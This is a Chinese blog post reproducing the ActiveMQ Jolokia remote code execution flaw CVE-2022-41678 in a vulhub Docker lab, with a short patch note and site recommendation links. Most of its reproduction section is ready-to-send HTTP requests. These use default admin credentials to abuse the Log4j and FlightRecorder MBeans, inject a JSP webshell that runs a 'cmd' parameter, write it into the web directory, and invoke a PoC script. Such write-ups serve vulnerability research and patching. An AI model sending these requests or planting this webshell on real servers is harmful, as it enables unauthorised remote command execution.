ActiveMQ Jolokia 代码执行漏洞(CVE-2022-41678)复现

天猫来下凡2023-12-06 2:02

ActiveMQ Jolokia 后台代码执行漏洞(CVE-2022-41678)复现

1.漏洞描述

ActiveMQ是一个开源的消息代理和集成模式服务器，它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目，用于实现消息中间件，帮助不同的应用程序或系统之间进行通信。

ActiveMQ后台存在Jolokia 代码执行漏洞,在ActiveMQ中，经过身份验证的远程攻击者下可通过/api/jolokia/接口操作MBean，成功利用此漏洞可导致远程代码执行

影响版本

Apache ActiveMQ < 5.16.6

5.17.0< Apache ActiveMQ < 5.17.4

2.漏洞复现

https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2022-41678

复制代码 
docker compose up -d

服务启动后，访问http://your-ip:8161/后输入账号密码admin和admin，即可成功登录后台。

2.1 方法一

第一个方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean，这是由Log4j2提供的一个MBean。

攻击者使用这个MBean中的setConfigText操作可以更改Log4j的配置，进而将日志文件写入任意目录中。

总共4个数据包，第一步访问，获取到MBean值，此处需要加入Origin值，Authorization值为admin:admin的base64加密值

复制代码 
/api/jolokia/list

如果GET访问失败可以POST访问

第2步访问,此处的mbean在第一步获取到,此处xml文件需要进行转义

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 1944
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "org.apache.logging.log4j2:type=6ddf90b0", "operation": "setConfigText", "arguments": ["xml", "utf-8"]}

xml为POC中的evil_template内容，此处出现"status":200，就可以证明漏洞存在

第3步进行注入

复制代码 
GET /api/jolokia/version HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla ||| <% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %> |||
Origin: http://192.168.2.133:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

第4步和第2步类似，xml文件内容替换成POC中original_template内容

到此处，shell.jsp已经写入，访问进行命令执行

http://192.168.2.131:8161/admin/shell.jsp?cmd=id

POC执行命令：

复制代码 
python poc.py -u admin -p admin http://192.168.2.133:8161

2.2 方法二

主要问题出在FlightRecorder这个Mbean，漏洞思路是通过setConfiguration修改配置，录制完成后，通过copyTo导出到web目录即可。

第1步一样访问，获取mbean值

复制代码 
/api/jolokia/list

第2步如下，进行新增记录newRecording，获取value值

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 113
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "newRecording", "arguments": []}

第3步一样，更改配置文件信息，xml为poc中的record_template值

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 33032
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "setConfiguration", "arguments": [2,"xml" ]

第4步，开始录制

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 116
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "startRecording", "arguments": [2]}

第5步，结束录制

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 115
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "stopRecording", "arguments": [2]}

最后导出到web目录下

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 138
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "copyTo", "arguments": [2, "webapps/admin/shelljfr.jsp"]}

Webshell被写入在/admin/shelljfr.jsp文件中：

对应POC命令

复制代码 
python poc.py -u admin -p admin --exploit jfr http://localhost:8161

3.漏洞修复

安全更新

官方已推出安全更新，受影响用户可升级到以下版本：

Apache ActiveMQ >= 5.17.4

Apache ActiveMQ >= 5.16.6

缓解措施

相关推荐
Sagittarius_A*4 小时前
CSRF 跨站请求伪造：伪造请求攻击、绕过手段与底层防御
安全·web安全·csrf·dvwa
祁白_6 小时前
sqlmap工具
web安全·网络安全·sql注入·sqlmap
艺杯羹7 小时前
网络安全攻防演进：从单人砸门到AI博弈的五次战争
人工智能·安全·web安全·ddos·ip·ip欺骗
HackTwoHub7 小时前
等级保护现场测评系统重磅更新，支持 AI 接入，可录入全品类资产清单，自动化巡检核查，批量导出测评归档文件
运维·人工智能·安全·web安全·网络安全·自动化·系统安全
川石课堂软件测试7 小时前
安全测试|服务器安全加固方法
服务器·功能测试·测试工具·jmeter·mysql·web安全·单元测试
Sagittarius_A*8 小时前
Command Injection 命令注入漏洞：系统命令拼接缺陷与执行利用技术
网络·安全·web安全·dvwa·命令注入漏洞
Android洋芋9 小时前
漏洞挖掘与赏金攻略
网络·安全·web安全
Sagittarius_A*11 小时前
Open HTTP Redirect 开放重定向漏洞：URL 跳转校验缺陷与绕过技术
网络·安全·web安全·http·dvwa·burp suite
鹿鸣天涯21 小时前
kali 2026.2 2026年第二个版本发布-新增 9 款工具并优化虚拟机启动性能
安全·web安全·kali
无忧智库1 天前
中大型企业整体网络安全解决方案：从“边界防火墙”到安全运营闭环（PPT）
安全·web安全
热门推荐
012026年7月AI圈大地震：GPT-5.6被政府限制、Claude入驻Slack、Anthropic自研芯片02GitHub 镜像站点03AI科技热点日报 | 2026年07月01日04幻兽帕鲁 - 服务器管理员权限与 GM 命令完全指南05如何新建文件夹？ 电脑新建文件夹的4种方法06AI 编程 IDE 全景解析 2026：Agent 全面接管开发链路07国内可直接用、免费额度/永久免费的大模型API清单（含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等）082026年AI技术突破与产业落地全景：从GPT-5到多模态智能体的新纪元092026 国产 AI 大模型横评：DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打？10全面体验 Grok API 中转站（2025 · Grok 4 系列最新版）